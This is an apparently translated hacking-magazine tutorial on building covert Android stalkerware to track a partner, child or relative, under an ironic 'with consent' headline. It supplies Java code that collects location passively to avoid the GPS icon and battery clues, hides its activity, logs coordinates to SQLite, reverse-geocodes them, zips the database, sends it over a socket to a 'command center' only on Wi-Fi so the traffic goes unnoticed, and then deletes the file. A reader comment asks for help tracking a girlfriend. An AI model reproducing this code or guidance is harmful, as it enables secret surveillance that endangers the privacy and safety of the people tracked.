Using Android to keep tabs on your girlfriend. With her consent, of course!

Today we're going to try out a little spy experiment and gather data on the movements of someone important to us, say a girlfriend, child or grandparent. With their written consent to collect and process their information, of course!

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Tinker Tailor Soldier Spy

Any modern smartphone (or tablet) comes with a built-in GPS or even a native Russian GLONASS receiver. But even if you have a phone without one, Google (and other) maps can still quickly find you on this poor blue bubble we call earth. This is possible due to a special tracking method that utilizes cell towers. All location-based services collect data about the location of such towers.

Ok, Google, let's disable the GPS, take out the SIM card, start Maps back up again and, voila, we can see our current location again. Wi-Fi access points are enough to spot a smartphone even if it�s not as precise as it could be. Accordingly, Google map mobile found itself at the center of a very telling scandal: it was quietly driving along the streets recording people and collecting the names of every Wi-Fi access point at the same time. Google then reported a technical glitch (!), but we know that…

To sum it up, smartphones always find themselves in their home solar system. So let's put that to use.

Operation "Spectre"

The theater begins with the cloakroom, whereas Android apps � with a manifest. To access the GPS-receiver you have to add a tag to uses-permission section:

The constant ACCESS_FINE_LOCATION makes positioning highly precise. There is also ACCESS_COARSE_LOCATION for an approximate positioning, but that's not of interest to us. In short, the app with fine permission gets coarse permission by default.

Android uses a special interface for geolocation provided by LocationManager:

String svcName = Context.LOCATION_SERVICE;
LocationManager locationManager = (LocationManager) getSystemService(svcName);

The second geocomponent is LocationProvider, a set of data sources with each one presenting a different positioning technology. For instance, GPS_PROVIDER uses data from satellites, NETWORK_PROVIDER spies on cell towers and Wi-Fi points.

By now you're probably thinking up your dastardly plan: requesting GPS_PROVIDER and NETWORK_PROVIDER for coordinates (e.g. using a background feature) and sending them to the command center. This straightforward solution has its own place, but would the most popular security magazine out there take this as a legitimate topic to write about? First, it's easy to notice that any activation of the GPS shows in the status bar (see Fig. 1); second, it depletes the battery, which might tip off the owner and influence them to find the ravenous app; and third, background traffic can be easily viewed in the system log.

Fig. 1. GPS at work

Fig. 1. GPS at work

Google tailored a special PASSIVE_PROVIDER that receives the location info only if the other app requests it. This is how our spy will get updates undetected without enabling any LocationProvider items. In other words, as soon as the user starts Maps, any social media site, goes on the Internet, sends a message, etc., our app will always stay informed (Fig. 2-3). The flip side to this passivity and secrecy lies in relying upon data we cannot verify.

Fig. 2. First start after device is charged

Fig. 2. First start after device is charged

Fig. 3. Second start after Google Maps session

Fig. 3. Second start after Google Maps session

Skyfall

To get coordinates from a data source, we have getLastKnownLocation:

String provider = LocationManager.PASSIVE_PROVIDER;
Location location = locationManager.getLastKnownLocation(provider);

The received Location contains all the location info supported by the source. It might contain time, coordinate accuracy, latitude, longitude, altitude above sea level (a true invasion of privacy!) and speed. All of these are available via getters:

private void updateWithNewLocation(Location location)
{
    TextView myText = (TextView) findViewById(R.id.myText);
    String latLongString = "no information";
    if (location != null) {
        double lat = location.getLatitude();
        double lng = location.getLongitude();
        latLongString = "Lat: " + lat + "\nLong: " + lng;
    }
    myText.setText("Location:\n" + latLongString);
}

As seen above, neither PASSIVE_PROVIDER, nor getLastKnownLocation asks LocationProvider for location updates. If the smartphone hasn't updated its current position for some time, the data might be outdated or perhaps there won't be any data at all (e.g. right after being charged).

If you started thinking again about using the background feature to bug PASSIVE_PROVIDER, let me upset you by saying it's actually much easier. We choose to use a broadcast receiver (look through the September issue of Hacker or read on if you don't know what it is).

In Her Majesty's secret service

Putting it in a nutshell: as an Intent messenger, structured data can be sent process-to-process (e.g. info from a GPS). To track such data and responses, special devices called broadcast receivers come in real handy. Their strong points (for us) are that they work even with background apps. Some of them (e.g. SMS receiving) don't even need a parent app to be started.

Thunderball

GPS data returned by getLastKnownLocation or a broadcast receiver won't change until a program requests a location update. That means that when the emulator is started, getLastKnownLocation is sure to return null, and the receiver won't work at all.

To fix this problem, use the following trick:

locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, new LocationListener() {
    @Override public void onLocationChanged(Location location) {}
    @Override public void onStatusChanged(String s, int i, Bundle bundle) {}
    @Override public void onProviderEnabled(String s) {}
    @Override public void onProviderDisabled(String s) {}
});

Place this code in OnCreate activity and we can force the app to continuously request updates, making our broadcast receiver work. Once you have tested and debugged the code, you need to solder it together. Don't forget!

Sending coordinates to emulator

Sending coordinates to emulator


See below for the structure of our receiver:

public class LocationUpdateReceiver extends BroadcastReceiver{
    @Override
    public void onReceive(Context context, Intent intent) {
        String key = LocationManager.KEY_LOCATION_CHANGED;
        Location location = (Location) intent.getExtras().get(key);

        if (location != null) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            long time = location.getTime();

            // time � UNIX time,
            // lat � stands for latitude, lng � stands for longitude
        }
    }
}

The onReceive method triggers every time coordinates are updated, but first you should register the receiver in the manifest:


    
        
    

Then we have to set the rate, or even the most infinitesimal movement will DoS our bug with updates. Let's place the code in the main (and only) activity onCreate as a test:

public class Main extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);

        String svcName = Context.LOCATION_SERVICE;
        LocationManager locationManager = (LocationManager) getSystemService(svcName);
        String provider = LocationManager.PASSIVE_PROVIDER;

        int t = 60000;
        int distance = 25;

        int flags = PendingIntent.FLAG_CANCEL_CURRENT;
        Intent intent = new Intent(this, LocationUpdateReceiver.class);
        PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, flags);

        locationManager.requestLocationUpdates(provider, t, distance, pendingIntent);

        finish();
    }
}

The requestLocationUpdates method used to initiate regular updates receives the provider's name, PASSIVE_PROVIDER, as the first parameter. Then comes a minimum interval and a gap between the updates. This code will cause updates to come in once every minute (60,000 ms) and only if the device moves 25 m from its last location. See the box to know why these figures should be chosen carefully.

Die another day

Android 5 closely monitors all apps requesting locations (even passively), looking for the most energy consuming. So you don't end up near the top of that list, try to set the longest intervals you can between updates.

We are alone on the emulator

We are alone on the emulator


The last parameter, a pending (or delayed) intent, that will be sent to the broadcast receiver LocationUpdateReceiver. PendingIntent objects are used to pack intents responding to future events, as with our updates.

By the way, to disable updates, use the removeUpdates method:

locationManager.removeUpdates(pendingIntent);

As our activity does not involve the user, nor does it have an interface or let itself be known, it makes sense to close it using the finish method. LocationUpdateReceiver will continue to function as if nothing has changed. I'm also attaching a source code to this article (for peaceful debugging uses only) where the coordinates are displayed (Fig. 4) as pop-ups (Toast class).

Fig. 4. Spy information

Fig. 4. Spy information

For your eyes only

In order for things to not be entirely simple, I purposely didn't make it function in the background. In the March issue I spoke about the way this feature and thealert mechanism work. These technologies are perfectly designed to create an unnoticeable background service. You can look there also for info about "sustainability" after the device is reset.

The world is not enough

So we've got a number of the device's coordinates, which is to say its tracked movements. But this begs the question: what should we do with this data array and how should it be stored? In the September issue of Hacker there was a fantastic article dealing with storing user info. We can do this with any of the methods described: Shared Preferences, Internal/External Storage, SQLite Database or even Cache Files.

I chose the SQLite base with the following chart:

private static final String SQL_CREATE_TABLE = "CREATE TABLE coord " +
    "(_id INTEGER PRIMARY KEY AUTOINCREMENT, utime NUMERIC, lat REAL, lng REAL)";

Hacker writes about the ways to make entries into SQLite base on a regular basis (oh really? Have we ever done that 🙂 – editor's note), so I won't dwell on a subject that's already beaten to death. Instead, let's talk about sending the collected data.

You don't have to store the location updates, of course, you can rather send them immediately, but this comes with the major risk of not having Internet access at certain times. Moreover, as we already pointed out, background data connections can be easily noticed (the person is assumed to have an ordinary non-rooted smartphone). Wi-Fi is a different story. It has great speed and a short response time, plus hardly anyone would ever think to study the traffic (it's free, after all!).

From Russia with love

Geocoding in Android lets you convert coordinates (latitude and longitude) into street addresses and vice versa. Use the following function to get addresses.

public String revGeocode(Location location){
    if (location == null) return "";
    double lat = location.getLatitude();
    double lng = location.getLongitude();
    StringBuilder sb = new StringBuilder();
    Geocoder gc = new Geocoder(this, Locale.getDefault());
    try {
        List
addresses = gc.getFromLocation(lat, lng, 1); if (addresses.size() > 0) { Address address = addresses.get(0); for (int i = 0; i < address.getMaxAddressLineIndex(); i++) sb.append(address.getAddressLine(i)).append("\n"); sb.append(address.getLocality()).append("\n"); sb.append(address.getPostalCode()).append("\n"); sb.append(address.getCountryName()); } } catch (IOException e) { e.printStackTrace(); } return sb.toString(); }

The getFromLocation method shows you the list of addresses for the received coordinates. The example under consideration shows only the top address that all other lines are taken from. After that the region, postal code, and country are added. The accuracy depends on the detailization of Google Maps.

Next question � what shall we send? Should we import each line and send it? We can, but that's just not our style, not the hacker's way. What if we send the whole base as a binary file? The base is physically located in the private directory of the application, it is only available to us, the charts contain only numbers (the size being as small as possible), and Wi-Fi is a broadband connection. All the pluses with none of the minuses.

To take this idea into the stratosphere, place the base file in the archive before sending it, thank god SWLite files are so easily compressed. Android works directly with Java to support work with ZIP archives. To archive a file, let's writea function:

public static final int BUFFER_SIZE = 1024;
public void zipFile(String file, String zipFile) throws IOException {
    BufferedInputStream origin;
    ZipOutputStream out = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(zipFile)));
    try {
        byte data[] = new byte[BUFFER_SIZE];
        FileInputStream fi = new FileInputStream(file);
        origin = new BufferedInputStream(fi, BUFFER_SIZE);
        try {
            ZipEntry entry = new ZipEntry(file.substring(file.lastIndexOf("/") + 1));
            out.putNextEntry(entry);
            int c;
            while ((c = origin.read(data, 0, BUFFER_SIZE)) != -1) out.write(data, 0, c);
        } finally {
            origin.close();
        }
    } finally {
        out.close();
    }
}

The database path can be reached as follows:

String file = Environment.getDataDirectory().getPath() +
    "//data//com.example.gpsspy//databases//" + "base_name";

"com.example.gpsspy" is the name of our package, and "database_name" is given to it when it's created (without expanding). Thus the above function can be used as follows:

String fileZip = file + ".zip";
try {
    zipFile(file, fileZip);
} catch (IOException e) {
    e.printStackTrace();
}

To avoid any lags in the program, make archiving a background process (AsyncTask).

The archive can then be easily sent through the network. The delivery will depend on the chosen method. This might be sockets, local shared storages, web interface, anonymous FTP, Wi-Fi Direct and so on.

The approach using sockets might look as follows:

public static final int BUFFER_SIZE = 1024;
...
//You must use a background task!
@Override
protected String doInBackground(String... params)
{
    String filePath = 'file path';
    File sdFile = new File(filePath);
    try {
        client = new Socket("ip", "port");
        os = client.getOutputStream();
        byte[] buf = new byte[BUFFER_SIZE];
        FileInputStream in = new FileInputStream(sdFile);
        int bytesRead;
        while ((bytesRead = in.read(buf, 0, BUFFER_SIZE)) != -1) {
           os.write(buf, 0 , bytesRead);
        }
        os.flush();
        os.close();
        client.close();
    } catch (UnknownHostException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
    return null;
}

In any event, you will need permission to work on the Internet:

Clear the base after sending the file. You can do this either with the conventional SQL-command DELETE * FROM chart_name, but the file size will stay the same, or you can delete the file:

public static void deletePrivateFile(String Name){
    File data = Environment.getDataDirectory();
    String Path = "//data//com.example.gpsspy//databases//" + Name;
    File file = new File(data, Path);
    file.delete();
}

Android will create a new file by itself the next time it communicates with the database.

Moonraker

Now we know what we are sending and how we are doing it. All that's left is to decide when. The intent translation mechanism via the host broadcast receiver will come to our aid here once again.

WiFiManager is a Wi-Fi feature for Android. It can be used either to connect to an access point or monitor its status. Because we are using a passive procedure, we just have to wait until we connect to the access point and try to send the file.

Official Google SDK uses a number of actions to start the broadcast receiver when the Wi-Fi status changes: WIFI_STATE_CHANGED_ACTION, SUPPLICANT_CONNECTION_CHANGE_ACTION and NETWORK_STATE_CHANGED. Describing these makes no sense because they won't work for us anyway. Everything gets compiled and started, but the receiver won't be functioning. I have no idea why this happens (perhaps it's just Google slowly turning into Microsoft?).

Anyway, not all is lost. No matter what the connection type is (Wi-Fi, 3G, GPRS/EDGE), Android provides CONNECTIVITY_CHANGE, which starts functioning when the data connection is togged on/off. Using ConnectivityManager (meant for managing network connections), we can identify the connection type, and this is exactly what we want.

So now we add access permission to network interface statuses to the manifest.


And name the broadcast receiver.


    
        
    

And finally, the receiver's code:

public class NetworkChangedReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        boolean connectedWifi = false;
        ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
        NetworkInfo[] netInfo = cm.getAllNetworkInfo();

        for (NetworkInfo ni : netInfo) {
            if (ni.getTypeName().equalsIgnoreCase("WIFI")) {
                if (ni.isConnected()) connectedWifi = true;
                break;
            }
        }
        if (connectedWifi) {
            // Start archiving and database connection.
            ...
        }
    }
}

All active connections are searched, and if any active Wi-Fi is found, coordinate bases are transferredto the command center. I'll likewise mention that this receiver might come into action a number of times when connecting to Wi-Fi, so keep that in mind.

Diamonds are forever

To convert our time-honored UNIX-time to a format more easily understandable to us and spies, we can use Calendar Java-object:

public String getDateFromUNIX(long uTime){
    Calendar c = Calendar.getInstance();
    c.setTimeInMillis(uTime);
    int D = c.get(Calendar.DAY_OF_MONTH);
    int M = c.get(Calendar.MONTH);
    int Y = c.get(Calendar.YEAR);
    int h = c.get(Calendar.HOUR_OF_DAY);
    int m = c.get(Calendar.MINUTE);
    return new StringBuilder()
        .append(D).append(".").append(M + 1).append(".").append(Y)
        .append(" ").append(h).append(":").append(m)
        .toString();
}

Tomorrow never dies

Today we've gotten to know passive geopositioning in Android, learned how to archive and connect SQLite database to the network, and also gotten familiar with various broadcast receivers. A secret agent's toolkit — that's the long and the short of it!


5 Responses to “Using Android to keep tabs on your girlfriend. With her consent, of course!”

    • Listen Jim, Im not trying to spy on my girlfriend. I want to get information to buy gufts and be a better bf in hopes of marriage and children. If you know how to get in with things like that can you help me out. Im 42 and I really feel great things with this woman.

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>